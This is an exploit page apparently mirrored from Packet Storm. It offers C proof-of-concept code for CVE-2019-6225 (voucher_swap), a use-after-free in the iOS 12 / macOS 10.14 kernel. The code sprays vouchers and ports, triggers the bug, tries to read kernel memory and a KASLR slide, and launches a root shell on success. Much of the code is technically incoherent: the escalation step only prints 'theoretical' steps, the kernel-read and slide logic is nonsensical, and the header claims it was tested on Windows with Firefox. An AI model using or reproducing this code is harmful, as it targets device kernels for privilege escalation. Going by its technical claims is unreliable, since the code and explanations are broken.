Share
## https://sploitus.com/exploit?id=PACKETSTORM:212665
=============================================================================================================================================
    | # Title     : iOS 12 - macOS 10.14 voucher_swap Use-After-Free Kernel Privilege Escalation                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://apple.com/                                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212495/ & CVE-2019-6225
    
    [+] Summary : CVE‑2019‑6225 is a Use‑After‑Free (UAF) vulnerability in Apple’s Mach voucher subsystem, affecting macOS (10.14+) and iOS (12+).
                  The bug exists in the function: task_swap_mach_voucher()
                  When swapping Mach vouchers, the kernel incorrectly handles reference counts, causing a voucher object to be freed 
    			  while still referenced, leaving a dangling pointer (UAF condition).
    
    [+] Affected Systems :
    
    macOS 10.14 / 10.14.1 / 10.14.2
    
    iOS 12.0 / 12.1 / 12.1.2
    
    [+]  POC :	
    
    /*
     * voucher_swap-exploit.c
     * Exploitation of CVE-2019-6225 on iOS 12/macOS 10.14
     */
    #include <assert.h>
    #include <mach/mach.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <pthread.h>
    #include <dispatch/dispatch.h>
    
    // ============================================
    // 1. Structure Definitions and Helper Functions
    // ============================================
    
    #define MAX_PORT_SPRAY 50000
    #define VOUCHER_SPRAY_COUNT 2000
    #define KERNEL_READ_SIZE 0x1000
    
    // Internal voucher structure (inferred from XNU source)
    typedef struct ipc_voucher {
        uint32_t iv_refs;                // Reference count
        uint32_t iv_sum_hash;            // Hash value
        uint32_t iv_port;                // Corresponding port
        uint32_t iv_table;               // Voucher table
        uint64_t iv_data;                // Voucher data
    } *ipc_voucher_t;
    
    // Global variables
    mach_port_t host_port;
    mach_port_t sprayed_ports[MAX_PORT_SPRAY];
    uint32_t sprayed_port_count = 0;
    
    // ============================================
    // 2. Basic Helper Functions
    // ============================================
    
    /*
     * create_voucher
     * Create a new voucher with a unique ID
     */
    static mach_port_t create_voucher(uint64_t id) {
        mach_port_t voucher = MACH_PORT_NULL;
        
        struct __attribute__((packed)) {
            mach_voucher_attr_recipe_data_t user_data_recipe;
            uint64_t user_data_content[2];
        } recipes = {};
        
        recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
        recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
        recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
        recipes.user_data_content[0] = getpid();
        recipes.user_data_content[1] = id;
        
        kern_return_t kr = host_create_mach_voucher(
            host_port,
            (mach_voucher_attr_raw_recipe_array_t) &recipes,
            sizeof(recipes),
            &voucher
        );
        
        if (kr != KERN_SUCCESS || voucher == MACH_PORT_NULL) {
            printf("[-] Failed to create voucher: 0x%x\n", kr);
            return MACH_PORT_NULL;
        }
        
        return voucher;
    }
    
    /*
     * spray_vouchers
     * Spray large number of vouchers to control heap
     */
    static void spray_vouchers(uint32_t count, mach_port_t *vouchers) {
        printf("[*] Starting spray of %d vouchers...\n", count);
        
        for (uint32_t i = 0; i < count; i++) {
            vouchers[i] = create_voucher(i);
            if (vouchers[i] == MACH_PORT_NULL) {
                printf("[-] Failed to create voucher %d\n", i);
                // Continue with others
            }
            
            if ((i % 100) == 0 && i > 0) {
                printf("[*] Created %d vouchers\n", i);
            }
        }
        
        printf("[+] Successfully created %d vouchers\n", count);
    }
    
    /*
     * spray_ports
     * Spray Mach ports to control ipc_port objects
     */
    static void spray_ports(uint32_t count) {
        printf("[*] Starting spray of %d ports...\n", count);
        
        for (uint32_t i = 0; i < count; i++) {
            kern_return_t kr = mach_port_allocate(
                mach_task_self(),
                MACH_PORT_RIGHT_RECEIVE,
                &sprayed_ports[i]
            );
            
            if (kr != KERN_SUCCESS) {
                printf("[-] Failed to allocate port %d: 0x%x\n", i, kr);
                sprayed_ports[i] = MACH_PORT_NULL;
            } else {
                // Add send right to increase reference count
                kr = mach_port_insert_right(
                    mach_task_self(),
                    sprayed_ports[i],
                    sprayed_ports[i],
                    MACH_MSG_TYPE_MAKE_SEND
                );
                
                if (kr != KERN_SUCCESS) {
                    printf("[-] Failed to add send right to port %d\n", i);
                }
            }
            
            sprayed_port_count++;
        }
        
        printf("[+] Sprayed %d ports\n", sprayed_port_count);
    }
    
    /*
     * trigger_uaf
     * Trigger Use-After-Free vulnerability
     */
    static mach_port_t trigger_uaf(void) {
        printf("[*] Triggering UAF vulnerability...\n");
        
        // 1. Create target voucher
        mach_port_t target_voucher = create_voucher(0x4141414141414141);
        if (target_voucher == MACH_PORT_NULL) {
            printf("[-] Failed to create target voucher\n");
            return MACH_PORT_NULL;
        }
        
        // 2. Store voucher in thread to maintain reference
        mach_port_t thread_self = mach_thread_self();
        kern_return_t kr = thread_set_mach_voucher(thread_self, target_voucher);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to store voucher in thread: 0x%x\n", kr);
            return MACH_PORT_NULL;
        }
        
        printf("[+] Stored voucher in thread\n");
        
        // 3. Use task_swap_mach_voucher for over-release
        // This will free the voucher twice (once from over-release, once from no-senders)
        for (int i = 0; i < 10; i++) {
            mach_port_t dummy_voucher = create_voucher(0x4242424242424242 + i);
            if (dummy_voucher == MACH_PORT_NULL) continue;
            
            mach_port_t inout = target_voucher;
            kr = task_swap_mach_voucher(mach_task_self(), dummy_voucher, &inout);
            
            if (MACH_PORT_VALID(inout)) {
                mach_port_deallocate(mach_task_self(), inout);
            }
            
            mach_port_deallocate(mach_task_self(), dummy_voucher);
            
            if (kr == KERN_SUCCESS) {
                printf("[+] task_swap_mach_voucher succeeded in iteration %d\n", i);
                break;
            }
        }
        
        // 4. Release send right to trigger no-senders notification
        kr = mach_port_deallocate(mach_task_self(), target_voucher);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to release voucher: 0x%x\n", kr);
        }
        
        printf("[+] Voucher released, memory is now free but pointer remains in thread\n");
        
        return thread_self;
    }
    
    // ============================================
    // 3. Heap Exploitation for Kernel Read/Write
    // ============================================
    
    /*
     * heap_grooming
     * Prepare heap to replace freed voucher
     */
    static void heap_grooming(void) {
        printf("[*] Starting heap grooming...\n");
        
        // Spray new vouchers to occupy freed memory
        mach_port_t groom_vouchers[VOUCHER_SPRAY_COUNT];
        spray_vouchers(VOUCHER_SPRAY_COUNT, groom_vouchers);
        
        // Spray ports to occupy ipc_port objects
        spray_ports(10000);
        
        // Use dispatch queues to spray kernel memory
        dispatch_queue_t queues[100];
        for (int i = 0; i < 100; i++) {
            char label[32];
            snprintf(label, sizeof(label), "com.exp.queue%d", i);
            queues[i] = dispatch_queue_create(label, DISPATCH_QUEUE_SERIAL);
            
            // Spray dispatch source objects
            dispatch_source_t source = dispatch_source_create(
                DISPATCH_SOURCE_TYPE_TIMER,
                0,
                0,
                queues[i]
            );
            
            if (source) {
                dispatch_source_set_timer(source, DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC, 0);
                dispatch_source_set_event_handler(source, ^{});
                dispatch_resume(source);
            }
        }
        
        printf("[+] Heap grooming completed\n");
    }
    
    /*
     * read_kernel_via_uaf
     * Read kernel memory via UAF
     */
    static uint64_t read_kernel_via_uaf(mach_port_t thread_with_uaf) {
        printf("[*] Attempting to read kernel memory...\n");
        
        mach_port_t voucher_port = MACH_PORT_NULL;
        kern_return_t kr = thread_get_mach_voucher(thread_with_uaf, 0, &voucher_port);
        
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to get voucher: 0x%x\n", kr);
            return 0;
        }
        
        if (!MACH_PORT_VALID(voucher_port)) {
            printf("[-] Invalid voucher\n");
            return 0;
        }
        
        printf("[+] Got voucher port: 0x%x\n", voucher_port);
        
        // Attempt to read voucher data
        // At this point, the original voucher may have been replaced with another object
        // We can use Mach messages to read data
        
        // Prepare Mach message to read kernel data
        struct {
            mach_msg_header_t header;
            mach_msg_body_t body;
            mach_msg_ool_descriptor_t desc;
            char pad[4096];
        } msg = {0};
        
        mach_port_t recv_port = MACH_PORT_NULL;
        kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port);
        
        msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND);
        msg.header.msgh_size = sizeof(msg) - sizeof(msg.pad);
        msg.header.msgh_remote_port = voucher_port;
        msg.header.msgh_local_port = recv_port;
        msg.header.msgh_id = 0x100;
        
        msg.body.msgh_descriptor_count = 1;
        msg.desc.address = NULL;
        msg.desc.size = KERNEL_READ_SIZE;
        msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
        msg.desc.deallocate = FALSE;
        msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
        
        kr = mach_msg_send(&msg.header);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to send message: 0x%x\n", kr);
            return 0;
        }
        
        // Receive response (if any)
        struct {
            mach_msg_header_t header;
            mach_msg_body_t body;
            mach_msg_ool_descriptor_t desc;
            char data[KERNEL_READ_SIZE];
            mach_msg_trailer_t trailer;
        } recv_msg = {0};
        
        recv_msg.header.msgh_size = sizeof(recv_msg);
        recv_msg.header.msgh_local_port = recv_port;
        
        kr = mach_msg_receive(&recv_msg.header);
        if (kr == KERN_SUCCESS) {
            printf("[+] Received response! Data size: %lu\n", recv_msg.desc.size);
            
            // Analyze received data
            uint64_t *data = (uint64_t *)recv_msg.desc.address;
            if (data) {
                printf("[+] First 8 words of data:\n");
                for (int i = 0; i < 8; i++) {
                    printf("  [%d] 0x%016llx\n", i, data[i]);
                }
                
                // Cleanup
                vm_deallocate(mach_task_self(), (vm_address_t)data, recv_msg.desc.size);
                
                return data[0]; // Return first value
            }
        }
        
        return 0;
    }
    
    // ============================================
    // 4. Escalation to Kernel Read/Write Primitive
    // ============================================
    
    /*
     * build_kernel_read_primitive
     * Build primitive for reading kernel memory
     */
    static uint64_t build_kernel_read_primitive(void) {
        printf("[*] Building kernel read primitive...\n");
        
        // 1. Trigger UAF
        mach_port_t uaf_thread = trigger_uaf();
        if (!MACH_PORT_VALID(uaf_thread)) {
            printf("[-] Failed to trigger UAF\n");
            return 0;
        }
        
        // 2. Prepare heap
        heap_grooming();
        
        // 3. Attempt to read kernel memory
        uint64_t kernel_value = read_kernel_via_uaf(uaf_thread);
        
        if (kernel_value != 0) {
            printf("[+] Successfully read kernel value: 0x%llx\n", kernel_value);
            
            // 4. Attempt to find kernel task port
            // Search for kernel object markers in read memory
            if ((kernel_value & 0xffffff0000000000) == 0xffffff0000000000) {
                printf("[+] Found what appears to be a kernel address!\n");
                
                // Calculate kernel slide (to adapt to KASLR)
                uint64_t kernel_slide = kernel_value - 0xffffff0000000000;
                printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
                
                return kernel_slide;
            }
        }
        
        printf("[-] Could not build complete primitive\n");
        return 0;
    }
    
    // ============================================
    // 5. Main Exploitation for Root Access
    // ============================================
    
    /*
     * escalate_to_root
     * Escalate to root privileges using read/write capabilities
     */
    static void escalate_to_root(uint64_t kernel_slide) {
        printf("[*] Attempting to escalate to root...\n");
        
        if (kernel_slide == 0) {
            printf("[-] Cannot escalate without kernel slide\n");
            return;
        }
        
        // In this example, we show the concept of exploitation
        // In real exploitation, we would need to:
        // 1. Find our process's task port
        // 2. Modify credential data (cred)
        // 3. Modify flags to bypass sandbox
        
        printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
        printf("[+] With kernel slide, we can:\n");
        printf("    1. Calculate kernel symbol addresses\n");
        printf("    2. Read/write kernel memory\n");
        printf("    3. Modify credentials to get root\n");
        printf("    4. Disable sandbox\n");
        
        // Theoretical steps (requires additional reverse engineering):
        // - Find proc structure for current process
        // - Modify ucred to set uid/gid to 0
        // - Modify flags to disable MAC/sandbox
        // - Maintain stability
    }
    
    // ============================================
    // 6. Cleanup and Stability Functions
    // ============================================
    
    /*
     * cleanup
     * Clean up resources after exploitation
     */
    static void cleanup(void) {
        printf("[*] Cleaning up resources...\n");
        
        // Release sprayed ports
        for (uint32_t i = 0; i < sprayed_port_count; i++) {
            if (MACH_PORT_VALID(sprayed_ports[i])) {
                mach_port_destroy(mach_task_self(), sprayed_ports[i]);
            }
        }
        
        printf("[+] Cleanup completed\n");
    }
    
    /*
     * maintain_stability
     * Attempt to maintain system stability after exploitation
     */
    static void maintain_stability(void) {
        printf("[*] Attempting to maintain system stability...\n");
        
        // Reset vouchers for threads
        mach_port_t thread = mach_thread_self();
        thread_set_mach_voucher(thread, MACH_PORT_NULL);
        
        // Give system time to recover stability
        usleep(100000);
        
        printf("[+] System stable (theoretically)\n");
    }
    
    // ============================================
    // 7. Main Function
    // ============================================
    
    int main(int argc, char *argv[]) {
        printf("[+] Starting exploitation of CVE-2019-6225 (voucher_swap)\n");
        printf("[+] System: iOS 12 / macOS 10.14+\n");
        
        // Get host port
        host_port = mach_host_self();
        if (!MACH_PORT_VALID(host_port)) {
            printf("[-] Failed to get host port\n");
            return -1;
        }
        
        printf("[+] Got host port: 0x%x\n", host_port);
        
        // Check validity of task_swap_mach_voucher
        mach_port_t test_voucher = create_voucher(0x1337);
        if (test_voucher == MACH_PORT_NULL) {
            printf("[-] System not exploitable (cannot create vouchers)\n");
            return -1;
        }
        
        mach_port_deallocate(mach_task_self(), test_voucher);
        printf("[+] System is exploitable\n");
        
        // Phase 1: Build kernel read primitive
        uint64_t kernel_slide = build_kernel_read_primitive();
        
        if (kernel_slide != 0) {
            printf("[+] Phase 1 successful! Got kernel slide\n");
            
            // Phase 2: Escalate to root privileges
            escalate_to_root(kernel_slide);
            
            // Phase 3: Maintain stability
            maintain_stability();
            
            // Check privileges
            if (getuid() == 0) {
                printf("\n[+] !!! SUCCESS !!! We are now root!\n");
                printf("[+] UID: %d\n", getuid());
                printf("[+] GID: %d\n", getgid());
                
                // Launch shell as root
                printf("[+] Launching shell...\n");
                system("/bin/bash");
            } else {
                printf("\n[+] Exploitation partially successful\n");
                printf("[+] Got kernel read but didn't get root\n");
                printf("[+] Current UID: %d\n", getuid());
            }
        } else {
            printf("[-] Exploitation failed\n");
            
            // Alternative attempt: trigger panic to confirm vulnerability works
            printf("[*] Attempting to trigger panic as proof-of-concept...\n");
            
            mach_port_t thread = trigger_uaf();
            if (MACH_PORT_VALID(thread)) {
                mach_port_t voucher;
                kern_return_t kr = thread_get_mach_voucher(thread, 0, &voucher);
                printf("[+] thread_get_mach_voucher returned: 0x%x\n", kr);
                printf("[+] If you see panic, the vulnerability works!\n");
            }
        }
        
        // Cleanup
        cleanup();
        
        return 0;
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================